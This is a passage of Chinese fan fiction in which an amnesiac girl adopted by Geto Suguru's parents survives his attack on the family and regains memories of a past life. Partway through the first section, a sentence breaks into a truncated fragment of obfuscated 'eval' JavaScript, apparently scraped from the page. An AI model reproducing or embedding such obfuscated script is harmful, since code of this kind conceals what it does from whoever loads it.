夏油宏和夏油惠对视了一眼,都从对方眼中看到了了然与心疼。这孩子多半是遭遇了什么变故,连自己的来历都记不清了。夏油惠蹲下身,与鎏汐平视,眼神真挚:“鎏汐是吗?那我们以后就叫你鎏汐好不好?跟我们回家吧,我们会好好照顾你的。” 鎏汐看着夏油惠眼底的柔光,又看了看夏油宏沉稳的模样,那种被包裹的、久违的安全感悄然袭来。她犹豫了片刻,轻轻点了点头。 夏油宏见状,主动脱下自己的夹克,披在鎏汐身上。夹克上还残留着他身上淡淡的烟草味和阳光的气息,宽大的版型将鎏汐瘦小的身体完全裹住,驱散了晚风带来的寒意。夏油惠则牵起她的手,指尖的温度轻柔而坚定,一步步将她带上车。 车子行驶在乡间小路上,窗外的风景渐渐被夜色吞没,只有零星的灯火从路边的农舍里透出来。鎏汐靠在车窗上,看着那些温暖的灯火,心里某个冰冷的角落似乎被悄悄融化。她偷偷瞥向驾驶座上的夏油宏,又看向身旁的夏油惠,两人偶尔会低声交谈几句,内容都是关于回家后要给她找干净的衣服、做些热乎的吃的,语气里的关切不掺半分虚假。 半个多小时后,车子停在了一栋带着小院的民居前。院子的木门虚掩着,推开时发出“吱呀”的轻响,院内种着一片向日葵,虽然天色已晚,花瓣都耷拉着脑袋,但依稀能想象出白天盛开时的绚烂模样。“这是我们家,以后也是你的家了。”夏油惠牵着她走进院子,语气里满是温柔。 屋内的陈设简单却温馨,客厅的茶几上摆着几个刚洗好的水果,墙上挂着一幅全家福,照片里的夏油宏和夏油惠笑得眉眼弯弯,中间站着个穿着校服的少年,眉眼清俊,眼神温和,透着一股干净的少年气。 夏油惠先给鎏汐找了套干净的棉质睡衣,是件浅蓝色的,带着淡淡的洗衣粉香味。“你先去洗个热水澡,我去给你煮点面条。”她把睡衣递到鎏汐手里,又指了指浴室的方向,“有什么不懂的就叫我。” 热水顺着花洒落下,冲刷着身上的泥渍和疲惫,也驱散了些许林间的恐惧。鎏汐看着镜子里陌生的自己,清汤寡水的眉眼,额角的伤口还清晰可见,眼神里带着挥之不去的茫然。她抬手抚摸着自己的脸颊,轻声念着:“鎏汐……”仿佛这样就能确认自己的存在。 洗完澡出来,客厅里飘着浓郁的葱花面香味。夏油惠端着一碗热气腾腾的面条走过来,碗里还卧着一个金黄的荷包蛋。“快吃吧,刚煮好的,暖暖身子。” 鎏汐接过碗,指尖碰到温热的瓷碗,暖意顺着指尖蔓延到四肢百骸。她拿起筷子,小口小口地吃着,面条的软糯和汤汁的鲜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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夏油惠则会教她做饭、缝补衣物。清晨的厨房里,总能看到两人忙碌的身影。夏油惠手把手地教她切菜、炒菜,告诉她什么样的火候能让菜更入味;午后的阳台上,两人坐在小板凳上,夏油惠教她穿针引线,给她的衣服缝上可爱的小补丁。有时候鎏汐会做噩梦,半夜惊醒时,夏油惠总会第一时间赶来,抱着她轻声安抚,给她讲院子里向日葵的故事,直到她重新睡去。 邻居田中雅子是个温柔的家庭主妇,经常来串门。她会给鎏汐带自己做的樱饼、铜锣烧,笑着夸她“长得越来越清秀了”;会陪她在院子里玩耍,教她辨认院子里的花草;还会在夏油惠忙碌的时候,帮着照看她。鎏汐很喜欢田中雅子,喜欢她身上淡淡的樱花香味,也喜欢她温柔的声音。 院子里的向日葵长得越来越茂盛,夏天一到,就开出了一片金灿灿的花海。鎏汐经常坐在院子里的小板凳上,看着向日葵朝着太阳的方向转动,心里满是安宁。她以为这样的日子会一直继续下去,却不知道,安稳的表象下,隐秘的不安从未消失。 第一次再次看到那些扭曲的黑影,是在一个傍晚。她帮夏油惠去院子里收衣服,刚走到晾衣绳下,就瞥见墙角的阴影里,飘着一团黑乎乎的东西。那东西形状扭曲,像是一团融化的墨汁,里面还传来细碎的嘶吼声,尖锐又刺耳,让她莫名地心悸。 鎏汐吓得浑身僵硬,手里的衣服掉在了地上都没察觉。她死死盯着那团黑影,只见它在阴影里慢慢蠕动,似乎在朝着她的方向靠近。她猛地回过神来,跌跌撞撞地往后退,直到退到客厅门口,那团黑影才停住了脚步,依旧在墙角的阴影里蛰伏。 “鎏汐,怎么了?”夏油惠听到动静走出来,看到她脸色苍白,又看了看地上的衣服,关切地问,“是不是吓到了?” 鎏汐张了张嘴,想把看到的东西告诉夏油惠,可话到嘴边又咽了回去。她怕自己说出来后,会被当成怪物,会被夏油宏和夏油惠赶走。她摇了摇头,捡起地上的衣服,声音带着点不易察觉的颤抖:“没……没什么,就是不小心把衣服掉了。” 夏油惠没有怀疑,只是帮她一起把衣服收进屋里。可从那天起,鎏汐就变得格外敏感。她总能在不经意间看到那些扭曲的黑影,它们藏在院子的阴影里、藏在路边的树后、藏在小巷的拐角处,似乎只围着她转,却又不敢靠近她周身半尺。每次看到它们,她都会心跳加速,浑身发冷,只能强装镇定地躲开。 她把这份恐惧悄悄藏在心底,从未告诉任何人。日子依旧平静地过着,只是她的眼神里,多了一丝不易察觉的警惕。 夏油宏和夏油惠偶尔会提起他们的儿子,夏油杰。第一次听到这个名字时,鎏汐正在帮夏油惠择菜。夏油惠的语气里满是思念与骄傲:“杰是个很优秀的孩子,从小就和别人不一样,是个天赋异禀的术师,现在在东京的咒术高专读书呢。” “术师?”鎏汐抬起头,眼里满是好奇。 “就是能保护大家,赶走那些不好的东西的人。”夏油宏笑着解释,“杰这孩子,心地善良,总说要保护非术师,让大家都能安稳地生活。” 鎏汐似懂非懂地点了点头。她想起那些一直缠着自己的黑影,心里忽然生出一丝期待。这个叫夏油杰的“哥哥”,既然能赶走不好的东西,是不是也能帮自己摆脱那些可怕的黑影? 夏油惠拿起墙上挂着的全家福,轻轻抚摸着照片里少年的脸庞:“就是学业太忙了,接触的那些东西也越来越凶险,回家的次数渐渐少了。上次回来,还是半年前呢。”语气里带着些许遗憾。 鎏汐凑过去,看着照片里那个眉眼清俊的少年。他笑得温和,眼神干净,像院子里盛开的向日葵一样,让人觉得安心。她心里对这个从未谋面的哥哥,生出了一丝好奇与好感。她想,能被养父母如此疼爱的人,一定是个很好很好的人吧。 那天晚上,鎏汐躺在床上,看着窗外的月光,第一次有了期盼。她期盼着能见到夏油杰,期盼着这个传说中温柔又强大的哥哥,能让她彻底摆脱那些黑影的困扰,让这份安稳的日子,能一直继续下去。 20. 第 20 章 晨雾还没散尽,夏油家的小院就飘起了淡淡的甜香。鎏汐是被厨房传来的瓷碗碰撞声唤醒的,她揉着眼睛坐起身,窗外的向日葵沾着晨露,金黄的花盘朝着东方微微倾斜,像一群安静守望的小太阳——那是夏油惠特意为她种的,说要让她每天醒来都能看见温暖的颜色。 “醒啦?”夏油惠端着一碗温热的味噌汤走进房间,围裙上还沾着些许面粉,眼角的细纹里都盛着笑意,“快起来洗漱,今天可是我们鎏汐的十八岁生辰,妈妈给你做了鲷鱼烧当早餐,还是你最爱的红豆馅。” 鎏汐点点头,鼻尖萦绕着鲷鱼烧的焦香,心底泛起软软的暖意。这是她来到夏油家的第三个年头,也是她拥有“夏油鎏汐”这个名字的第三个生辰。三年前林间的恐惧与茫然,早已被日复一日的温情磨平了棱角,她抬手摸了摸床头柜上那个向日葵形状的小摆件,那是去年生辰时夏油宏送她的,此刻指尖传来的温润触感,让她格外安心。 洗漱完走出房间,客厅已经被装点得格外温馨。米白色的墙壁上挂着浅粉色的彩带,沙发上放着一个包装精致的小盒子,夏油宏正站在梯子上,小心翼翼地往天花板上贴星星贴纸。“小心点爸爸!”鎏汐下意识地开口提醒,话音刚落,夏油宏脚下微微一晃,随即稳稳站稳,转头冲她笑得爽朗:“放心吧小丫头,你爸爸我当年也是爬树摘果子的好手。” 夏油惠端着刚煎好的鲷鱼烧从厨房出来,闻言笑着嗔怪:“都一把年纪了,还跟孩子逞能。”她把盘子放在餐桌上,推到鎏汐面前,“快尝尝,刚出锅的,小心烫。” 鎏汐拿起一个鲷鱼烧,外皮酥脆得轻轻一咬就掉渣,温热的红豆馅顺着指尖流下来,甜而不腻。她含着半块鲷鱼烧,含糊不清地说:“好吃……谢谢妈妈。”夏油惠坐在她对面,温柔地看着她,伸手替她擦掉嘴角沾着的碎屑:“喜欢就多吃点,中午妈妈给你做寿喜烧,买了你最爱的和牛。” 上午的时光过得格外舒缓。夏油宏去镇上的蛋糕店取定制的向日葵蛋糕,鎏汐就跟着夏油惠在院子里打理花草。夏油惠教她给向日葵剪去枯败的叶子,指尖触碰到带着绒毛的花茎时,鎏汐忽然瞥见墙角飘着一团模糊的黑影,那黑影转瞬即逝,让她心头微微一紧。她下意识地攥紧了手中的剪刀,夏油惠察觉到她的异样,关切地问:“怎么了鎏汐?是不是累了?” “没、没事。”鎏汐连忙摇头,把那丝不安压了下去。她不能告诉养父母这些奇怪的景象,她怕自己这份与众不同,会打破眼前来之不易的安稳。夏油惠没再多问,只是伸手揉了揉她的头发:“累了就去屋檐下歇会儿,妈妈一个人也能弄完。” 临近中午时,邻居田中雅子提着一个精致的竹篮来了,刚进门就笑着喊:“惠酱,鎏汐酱,生辰快乐呀!”她把竹篮递给鎏汐,“这是阿姨亲手给你织的围巾,天快冷了,正好能穿。”竹篮里的围巾是浅米色的,针脚细密,边缘还绣着小小的向日葵图案。鎏汐接过围巾,指尖触到柔软的毛线,心里暖暖的:“谢谢雅子阿姨,我很喜欢。” 田中雅子坐在沙发上,看着客厅里的装饰,笑着对夏油惠说:“杰君今天会回来吧?这么重要的日子,肯定要跟家人一起过。”提到夏油杰,夏油惠的眼神柔和了许多,语气里却带着些许遗憾:“之前打电话说大概率能回来,不过咒术高专的事情多,也不知道会不会临时有事。”她转头看向鎏汐,“鎏汐还没见过杰吧?他是个很温柔的孩子,小时候总护着邻居家的小朋友,长大了也总说要保护普通人。” 鎏汐捧着围巾,轻轻摩挲着上面的刺绣,心里对这个从未谋面的“哥哥”生出了一丝好奇。她想象中的夏油杰,应该是个眉眼温和、笑容干净的少年,就像这院子里的向日葵一样,带着让人安心的力量。“哥哥会回来的吧?”她轻声问道,语气里带着一丝不易察觉的期待。夏油宏恰好取蛋糕回来,听到这话,把蛋糕放在桌上,笑着说:“会的,杰那孩子最疼妹妹了,肯定会回来给鎏汐庆生。” 中午的寿喜烧做得格外丰盛,和牛在锅里滋滋作响,裹着甜甜的酱汁,香气弥漫了整个屋子。田中雅子留下来一起吃了午饭,饭桌上满是欢声笑语。鎏汐坐在夏油宏和夏油惠中间,被夹了一筷子又一筷子的肉,碗里的饭菜堆得像小山一样。她低头扒着饭,嘴角忍不住上扬——这就是家的感觉吧,温暖、热闹,让人忍不住想永远留住。 午后田中雅子走后,鎏汐帮着夏油惠收拾碗筷,夏油宏则在客厅看电视。阳光透过窗户洒进来,在地板上投下斑驳的光影,空气中浮动着饭菜的余香和向日葵的清香,一切都安静又美好。鎏汐靠在厨房的门框上,看着养父母的身影,心里默默许愿:希望这样的日子能一直持续下去,希望夏油杰哥哥能平安回来,希望这世间所有的美好都能停留得久一点。 傍晚时分,夏油惠把寿喜烧剩下的食材整理好,夏油宏则把蛋糕摆在餐桌上。定制的蛋糕不算太大,但上面用奶油精心勾勒出了向日葵的图案,黄色的奶油花盘,绿色的叶片,栩栩如生。夏油宏点燃了十八根蜡烛,烛火轻轻摇曳,映得每个人的脸上都暖暖的。 “快许愿吧鎏汐。”夏油惠轻声说。鎏汐闭上眼睛,双手合十。她的愿望很简单,还是中午那一个:愿安稳长存,愿家人平安。她深吸一口气,正要吹灭蜡烛,突然一阵晚风从敞开的门缝里灌了进来,让烛火猛地摇晃了一下。 与此同时,“吱呀——”一声,院子的大门被缓缓推开。那声音很轻,却像一根细针,刺破了此刻温馨的氛围。鎏汐睁开眼睛,下意识地朝门口看去。晚风裹挟着深秋的寒意涌进屋子,吹得墙上的彩带轻轻飘动,烛火在寒风中剧烈摇晃,明明灭灭间,一个高大的身影出现在门口。 那人穿着咒术高专制服,外面罩着一件黑色的风衣,身形挺拔如松。昏黄的光线勾勒出他的轮廓,脸上带着标志性的黑色咒纹,从眼角蔓延至脸颊,像某种诡异的图腾。他的眉眼本该是温和的,此刻却覆着一层厚厚的冰霜,眼神冷得像淬了冰的刀,扫过客厅的瞬间,让整个屋子的温度都仿佛下降了好几度。 鎏汐的心脏猛地一缩,一股强烈的恐惧瞬间攫住了她。那不是面对咒灵时的茫然恐惧,而是一种源自本能的敬畏与忌惮,仿佛在面对一个远超自己认知的强者。她下意识地后退了一步,手不小心碰到了身后的餐椅,发出“哐当”一声轻响。 夏油惠先是一愣,随即脸上露出惊喜的神色:“杰?你回来了!”她刚要上前,就察觉到儿子身上的异样,脚步顿住,语气里充满了担忧,“你怎么了?脸色这么差,脸上这些花纹是……” 夏油杰没有理会她,目光径直越过夏油宏和夏油惠,落在鎏汐身上。那眼神里没有丝毫温度,只有纯粹的审视与漠然,仿佛在看一件不该存在的杂质。他没有说话,只是静静地站在门口,黑色的风衣在晚风中轻轻摆动,周身散发着沉郁的压迫感,让整个客厅的空气都变得粘稠而沉重。 烛火在他的注视下,终于支撑不住,“噗”地一声熄灭了。屋子里瞬间陷入昏暗,只有窗外的暮色勾勒出他冷硬的轮廓。鎏汐紧紧攥着拳头,指尖泛白,呼吸都变得有些急促。她不明白,为什么这个素未谋面的“哥哥”,会让她感到如此强烈的恐惧;也不明白,他眼中的那份漠然,为何会像一把冰冷的刀,直直刺进她的心里。 “杰……”夏油宏的声音带着一丝不易察觉的紧张,他往前走了一步,挡在了鎏汐身前,“是不是学校里出什么事了?有什么困难跟爸爸妈妈说。” 夏油杰依旧没有说话,只是那双冰冷的眼睛,始终锁在鎏汐身上。晚风不断地从门口涌进来,卷起地上的几片落叶,在屋子里打着转。鎏汐能清晰地听到自己的心跳声,“咚咚”地响,像是要跳出胸腔。她知道,有什么东西,要彻底改变了。这份她小心翼翼守护了三年的安稳,在夏油杰推开大门的那一刻,就已经出现了裂痕。 烛火熄灭的瞬间,屋内的暖意像是被骤然抽离的潮水,连带着空气都凝结成冰。夏油惠脸上的惊喜还没来得及完全绽开,就被门口那道身影自带的沉郁气压冻在了嘴角,她握着锅铲的手微微收紧,围裙上的油渍还带着寿喜烧的余温,语气里藏不住担忧:“杰?你终于回来了……怎么脸色这么难看?脸上这些花纹是……” 夏油宏也站起身,刚要上前接过儿子肩头的黑色风衣,就被夏油杰漠然的眼神挡了回来。那眼神里没有半分久别归家的温情,只剩一片冰封的荒芜,掠过养父母时没有丝毫停留,径直落在餐桌旁的鎏汐身上。 鎏汐下意识地攥紧了桌布,指尖传来棉麻材质的粗糙触感,却压不住心底翻涌的不安。她第一次如此清晰地感受到“术师”与“普通人”的界限——眼前的夏油杰,就像一把出鞘的寒刃,周身萦绕的黑色咒力带着凛冽的攻击性,让她本能地想要退缩。可她看着养父母期待又担忧的模样,还是强撑着没有动,只是那双清澈的眼眸里,多了几分怯意。 “你们太天真了。” 夏油杰的声音很轻,像冬夜的雪粒落在窗棂上,却带着穿透人心的寒意。他缓缓迈步走进屋内,黑色风衣的下摆扫过门槛,带起一阵冷风,吹得桌上未燃尽的烛芯灰簌簌飘落。目光掠过餐桌旁的鎏汐时,只停留了半秒,那眼神里没有厌恶,只有对“普通人”的漠然无视,随即重新落回养父母身上,语气冷得像冰:“非术师本就不该占据术师的庇护,你们,更不该。” “杰?你在说什么?”夏油惠愣了愣,没听懂他话里的深意,只觉得儿子的气场陌生得可怕,下意识地往丈夫身边靠了靠,“我们是你的家人啊!你是不是在高专受了委屈?跟妈妈说……” 夏油宏也皱紧眉头,上前一步挡在妻子身前,语气沉重:“小杰,不管你遇到了什么事,都不能说这种浑话。我们养育你长大,从来没把你当成外人……” “养育?”夏油杰嗤笑一声,那笑声里没有半分温度,黑色的咒纹在灯光下泛着诡异的光泽,视线在养父母身上逡巡,带着审视垃圾般的轻蔑,“正是这十几年的‘养育’,才让我看清——非术师的软弱与愚蠢,根本不值得术师守护。你们享受着术师驱散咒灵带来的安稳,却连咒灵的存在都不知道,这种无用的‘家人’,有什么存在的意义?” 鎏汐的心猛地一沉,攥着桌布的指尖泛白。她终于明白那种违和感来自哪里——眼前的夏油杰,根本不是养父母口中那个温柔少年,他的目标从一开始就不是自己。他看向养父母的眼神,是带着毁灭欲的决绝,而看向自己时,不过是把她当成了和养父母一样的“普通人”,一种可以随手清理的障碍。这份彻底的无视,比直接的厌恶更让人心头发冷。 “我没有……”她想辩解,声音却细若蚊蚋,带着自己都没察觉的颤抖。三年来小心翼翼藏起的恐惧、对养父母的依赖、对安稳生活的眷恋,在这一刻全都被这股冰冷的敌意搅得粉碎。 夏油杰完全无视了养父母的辩解,脚步没有丝毫停顿地走向他们。他的动作很慢,每一步都像踩在众人的心跳上,屋内的空气越来越压抑,夏油惠的呼吸已经急促得像要断裂,鎏汐坐在原地,浑身僵硬,连逃跑的念头都被这股致 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“养父母!”鎏汐惊呼出声,想要冲过去扶他们,可身体却被一股无形的力量禁锢住,动弹不得。她转头看向夏油杰,眼中充满了惊恐——他居然真的对自己的父母动手!可夏油杰连看都没看她一眼,指尖已经凝聚起浓郁的黑色咒力,径直朝着地上的夏油宏也袭去。 “不要!”夏油惠凄厉地哭喊着,却被咒力压制得无法动弹。夏油杰的眼神没有丝毫波动,仿佛只是在清理一件没用的垃圾。“清除掉无用的非术师,才能让术师的世界更纯粹。”他轻声说,语气里带着一种近乎病态的虔诚,指尖的咒力已经逼近夏油宏也的胸口。可就在这时,他眼角的余光瞥见鎏汐挣扎的身影,眉头微不可察地皱了一下——一个多余的普通人,留着也是麻烦。 鎏汐的瞳孔骤然收缩,她清晰地看到夏油杰调转方向,那团带着毁灭气息的黑色咒力,毫无预兆地朝着自己的腹部袭来。她想躲,却浑身僵硬,只能眼睁睁地看着那股力量穿透自己的身体——她终于明白,自己不是他的目标,只是被他顺手列入“清除名单”的普通人而已。 尖锐的剧痛瞬间席卷了全身,比三年前在林间醒来时的伤口疼上百倍千倍。鎏汐低下头,看着那团黑色咒力从自己的腹部穿出,鲜血顺着咒力的轨迹汩汩涌出,像绽放的红梅,迅速染红了洁白的桌布,还溅到了她胸前的衣襟上。温热的血液带着生命流逝的寒意,让她忍不住打了个寒颤。 “为……什么?”她艰难地抬起头,视线开始模糊,声音颤抖得不成样子。她不明白,为什么这个从未谋面的“哥哥”,会对自己痛下杀手;不明白为什么三年的安稳,会在这一刻以如此血腥的方式终结。 夏油杰的眼神没有丝毫波动,仿佛只是踩死了一只挡路的蚂蚁。他收回手,黑色的咒力转向地上的夏油宏也,语气平淡得像在说今天的天气:“多余的东西,清理干净就好。” 剧痛如同钥匙,猛地插进记忆的锁孔,用力扭转。 原本空荡荡的脑海里,无数画面如同被解禁的潮水,汹涌而来——系统机械的绑定提示音在耳边响起,“宿主玥涵,已成功绑定跨世界任务系统”;《名侦探柯南》世界里,第一次见到松田阵平的场景,他靠在警车旁,嘴里叼着烟,眼神桀骜不驯,却在看到她遇到危险时,第一时间冲了过来;两人一起勘察现场时的默契,他会把最危险的部分留给自己,会在她熬夜分析线索时,默默递上一杯热咖啡;晚年时,他们坐在小院的藤椅上,阳光洒在身上,他握着她的手,笑着说“玥涵,有你在真好”;最后是星际乱流中,他含笑的眉眼越来越模糊,系统尖锐的警报声和灵力冲击波的轰鸣交织在一起,“宿主危险!启动紧急防护机制……” “玥涵……” 这个被遗忘了三年的名字,在脑海中炸开,带着撕心裂肺的疼痛与熟悉的温暖。她终于想起了自己是谁,想起了那个跨越世界与她相守半生的人,想起了自己的使命与过往。 原来,鎏汐只是她失忆后的自我认定;原来,她是玥涵,是来自另一个世界的任务者;原来,眼前这个对她痛下杀手的人,就是养父母口中那个“善良、一心保护别人”的儿子夏油杰。 巨大的荒谬感与愤怒瞬间淹没了她。她看着夏油杰那张毫无温度的脸,看着地上痛苦呻吟的养父母,看着桌布上刺目的血迹,心脏像是被一只无形的手紧紧攥住,疼得无法呼吸。 “夏油杰……”她缓缓开口,声音不再颤抖,反而带着一种冰冷的决绝。记忆的复苏让她体内沉寂了三年的灵力开始躁动,金色的微光在她眼底一闪而过,“你错把偏执当正义,把善意当愚昧……你根本不懂,什么才是真正的保护。” 夏油杰挑眉,似乎对她突然的转变有些意外,却依旧不屑:“一个即将消失的杂质,也配教我什么是保护?” 他再次抬手,指尖凝聚起更浓郁的黑色咒力,显然是想彻底终结她的生命。而此时的玥涵,虽然身体被剧痛和失血折磨得虚弱不堪,但眼底的迷茫早已褪去,取而代之的是属于任务者的坚定与锐利。记忆的回归不仅让她找回了身份,更让她重新掌控了自己的力量——那股被系统封印了三年的、属于高阶修士的灵力,正在她体内疯狂复苏。 血腥味与咒力的阴冷气息在屋内弥漫,养父母的呻吟声、远处隐约的风声,还有夏油杰身上越来越强的压迫感,交织成一张令人窒息的网。玥涵迎着那团致命的黑色咒力,缓缓闭上了眼睛,不是放弃,而是在积蓄力量——她要活下去,不仅是为了自己。 21. 第 21 章 咒力穿透躯体的剧痛,像烧红的烙铁狠狠碾过神经,每一寸肌理都在尖叫。鎏汐垂着眼,看着那团漆黑的咒力在自己腹腔里搅动,温热的血液顺着咒力的轨迹汩汩涌出,漫过白色的桌布,晕开一朵朵狰狞的暗红花朵,连带着生日蛋糕上未熄的烛泪,都被染成了诡异的粉褐。 “为……什么?”她的声音碎在喉咙里,带着血沫的温热。眼前的少年明明顶着“哥哥”的身份,眉眼间却没有半分夏油惠口中的温和,只有淬了冰的漠然。那些关于松田阵平的记忆碎片,就在这极致的痛苦里骤然挣脱了枷锁——米花町的夕阳下他叼着烟的侧脸,爆炸前最后一秒塞进她手里的樱花发夹,晚年时握着她的手说“玥涵,有你在真好”的温柔语气…… “玥涵……”这个被遗忘三年的名字,在脑海中炸开的瞬间,仿佛有惊雷划破混沌。她不是夏油鎏汐,她是玥涵,是跨越过星际乱流,与松田阵平相守半生的玥涵。 极致的痛与极致的清醒交织,体内沉寂了三年的灵力像是被唤醒的沉睡火山,骤然冲破桎梏。起初只是指尖泛起微弱的金芒,像暗夜里不慎滑落的星子,转瞬就蔓延至全身。金色的光芒越来越盛,温柔地包裹住她的身体,形成一层半透明的光茧,那些渗血的伤口在光芒中以肉眼可见的速度愈合,腹腔里的剧痛如同潮水般退去,连带着神经末梢的麻木感都消散无踪。 夏油杰瞳孔猛地收缩,指尖的咒力险些失控。他见过无数咒力,浑浊的、狂暴的、阴冷的,却从未见过这样的光芒——纯净得不含一丝杂质,温暖得像是初春清晨的阳光,却又带着令人心悸的威压,连空气都因这股力量的扩散而微微震颤。 鎏光顺着光茧边缘流淌开来,恰好笼罩住夏油杰身后那只一直蛰伏的特级咒灵。那只通体漆黑、长着数十只猩红眼睛的怪物,原本正垂涎地盯着夏油夫妇,被鎏光触碰的瞬间,突然发出凄厉到刺耳的惨叫。它的身体像是被强酸腐蚀般,一点点消融,黑色的咒力雾气在金光中蒸腾、消散,连一丝残留的污秽都没留下,只余下几声短促的呜咽,便彻底化为虚无。 “这……是什么力量?”夏油杰下意识地后退了半步,心脏不受控制地狂跳。他体内因目睹非术师愚昧而躁动的咒力,在这鎏光的浸润下,竟然奇异地平静了下来。那种混乱的、想要毁灭一切不纯之物的偏执情绪,像是被温水浇灭的火苗,只剩下茫然的空洞。 他曾坚信,非术师是软弱而愚昧的,而那些拥有异常力量的存在,都是污染这个世界的杂质,必须被清除。可眼前的鎏汐,明明拥有着远超他认知的强大力量,这力量却纯粹得令人心惊,没有丝毫咒力的阴冷与暴戾,反而带着救赎般的温和。 光茧缓缓收缩,鎏汐的身影在光芒中逐渐清晰。她的脸色依旧苍白,额角还沾着未干的血迹,可那双眼睛却亮得惊人,褪去了之前的懵懂与恐惧,只剩下清明的冷意。她站在那里,金色的微光在她周身流转,衬得她像从星河里走来的神祇,疏离又耀眼。 客厅里的空气仿佛凝固了,只有夏油惠压抑的抽泣声断断续续地传来。她和夏油宏早已瘫坐在地上,身体控制不住地发抖,眼神里充满了惊恐与茫然。他们印象里那个温柔乖巧、连大声说话都不敢的养女,此刻竟然散发出如此震撼的力量;而他们疼爱的儿子,那个曾经说要保护非术师的少年,却成了挥下屠刀的施暴者。 夏油宏紧紧攥着妻子的手,指节因为用力而泛白。他想开口说些什么,喉咙却像是被堵住般,发不出任何声音。眼前的一切,超出了他所有的认知,打破了他对世界的所有认知。那个他精心呵护了三年的女孩,那个他引以为傲的儿子,都变得陌生又可怕。 鎏汐缓缓抬起手,指尖的金光渐渐淡去。她能清晰地感受到体内灵力的流转,那是属于高阶修士的力量,是她与松田阵平相守半生、历经无数试炼才拥有的底气。之前因为失忆而被压制的感知力也彻底恢复,她能清楚地察觉到夏油杰内心的动摇,察觉到他对自己力量的忌惮与好奇。 “你口口声声说要保护非术师,”鎏汐的声音不再颤抖,带着一种历经沧桑的平静,却比任何愤怒的嘶吼都更有力量,“可你所谓的保护,就是不分青红皂白地杀戮吗?” 夏油杰猛地回神,脸上的震惊被强行压下,重新换上冰冷的面具,可眼底的动摇却怎么也藏不住。“你这种异常的存在,本身就是对非术师世界的威胁。”他强撑着反驳,语气却不如之前坚定,“我只是在清除威胁。” “威胁?”鎏汐轻轻笑了笑,笑声里带着一丝悲凉,“那这三年,是谁在你父母生病时守在床边?是谁在你母亲思念你的时候,安静地听她说话?是谁把这里当成自己的家,珍惜着每一份温情?” 每一个问题,都像一把锤子,狠狠砸在夏油杰的心上。他想起母亲每次打电话时,都会提起那个叫鎏汐的女孩,说她乖巧懂事,说她会帮着打理院子里的向日葵;想起父亲偶尔提及,说鎏汐很聪明,学什么都很快。那些他曾经不在意的细节,此刻都成了尖锐的讽刺。 他体内的咒力再次躁动起来,却又在鎏汐周身残留的微光中迅速平复。两种截然不同的情绪在他心中拉扯,一边是坚信不疑的“清除不纯”的信念,一边是眼前这股纯净力量带来的冲击。他第一次开始怀疑,自己所坚持的,真的是正确的吗? 鎏汐看着他挣扎的模样,没有再继续追问。她能感受到,这个少年的内心早已千疮百孔,他的偏执不过是保护自己不被现实击垮的外壳。可理解不代表原谅,他刚刚那致命的一击,还有养父母眼中的恐惧,都像刀子一样刻在她的心上。 金色的光芒彻底敛去,客厅里重新陷入昏暗,只有窗外透进来的月光,照亮了桌布上的血迹。夏油杰站在原地,眼神复杂地看着鎏汐,既有着对未知力量的探究,也有着被信念动摇的烦躁,还有一丝连他自己都没察觉到的愧疚。 他张了张嘴,似乎想说些什么,最终却什么也没说。转身,黑色的风衣在冷风中划过一道决绝的弧线,脚步没有丝毫停顿,渐渐消失在夜色里。门被风吹得“吱呀”一声关上,打破了客厅里的死寂。 直到夏油杰的身影彻底消失,夏油惠才再也忍不住,崩溃地哭了出来:“杰……他到底怎么了?他怎么会变成这样?”她的声音嘶哑,充满了绝望,“他以前不是这样的,他很善良,他说要保护我们的……” 夏油宏紧紧抱着妻子,拍着她的背安抚,可自己的肩膀也在微微颤抖。他看着鎏汐,眼神里充满了复杂的情绪,有感激,有恐惧,还有一丝不知所措。“鎏汐,你……” 鎏汐摇了摇头,示意自己没事。她走到沙发边,慢慢坐下,身体还有些虚弱。刚刚的灵力爆发消耗了她大量的体力,可更让她疲惫的,是内心的波澜。她知道,从夏油杰动手的那一刻起,她那三年安稳的生活,就彻底碎了。这个世界,比她记忆中任何一个任务世界,都要危险,也都要残酷。 桌布上的血迹在月光下泛着诡异的光泽,旁边是还没来得及吃的寿喜烧,热气早已消散,只剩下冰冷的残渣。生日蛋糕上的蜡烛已经熄灭,向日葵的图案被血迹浸染,变得面目全非。曾经温馨的客厅,此刻只剩下一片狼藉与绝望。 鎏汐闭上眼睛,深吸了一口气。脑海中再次浮现出松田阵平的眉眼,那温柔的笑容像是一剂良药,稍稍抚平了她内心的伤痛。她知道,自己不能倒下,她要弄清楚,为什么会来到这个世界,为什么会遇到夏油杰,更要找到再次见到松田阵平的办法。 可就在她重新睁开眼睛,想要起身安慰养父母的时候,却突然发现夏油宏和夏油惠的身体软软地倒了下去。“养父母!”鎏汐心中一紧,猛地冲过去,扶起夏油惠,却发现她的身体已经变得冰冷,嘴角还残留着一丝黑色的咒力痕迹。 她又颤抖着伸出手,探向夏油宏的鼻息,指尖感受不到丝毫温热的气息。一股寒意瞬间从脚底窜上头顶,鎏汐的身体控制不住地发抖。她终于明白,夏油杰在动手伤她的那一刻,就已经对养父母下了杀手。在他偏执的信念里,被她这“异常存在”沾染的非术师,早已成了他需要清除的对象。 三年的温情照料,无数个温馨的瞬间,生日时的寿喜烧与向日葵蛋糕,夏油惠温柔的安抚,夏油宏慈祥的笑容……所有的美好,都在这一刻化为泡影。鎏汐趴在养父母的尸体上,泪水终于忍不住滚落,混合着脸上的血迹,狼狈又绝望。 灵力爆发后的虚弱感再次袭来,加上巨大的悲痛,鎏汐的眼前开始发黑。她能感觉到自己的意识在一点点模糊,身体也越来越沉。就在她即将失去意识的时候,远处传来了警笛声,由远及近,越来越清晰。 紧接着,一个熟悉又陌生的声音在门外响起,带着一丝急切,像是穿越了时空的召唤:“鎏汐?!” 这个声音……鎏汐的心脏猛地一跳,残存的意识在瞬间被唤醒了几分。她挣扎着想要抬头,眼前却彻底陷入了黑暗。 消毒水的味道像一层薄纱,轻柔地覆在鼻尖。 鎏汐的意识是从一片混沌里慢慢浮上来的,先是指尖传来细微的麻感,接着是额角伤口的隐痛,最后才是听觉——窗外梧桐叶被风拂过的沙沙声,走廊里护士推车轱辘滚动的轻响,还有……一声极轻的呼吸,就在身侧不远处。 她费力地掀开沉重的眼皮,视线从模糊的光斑逐渐聚焦。白色的天花板,白色的墙,白色的床幔,一切都透着医院特有的冷寂。直到目光落向床边,那片冷寂才骤然被打破。 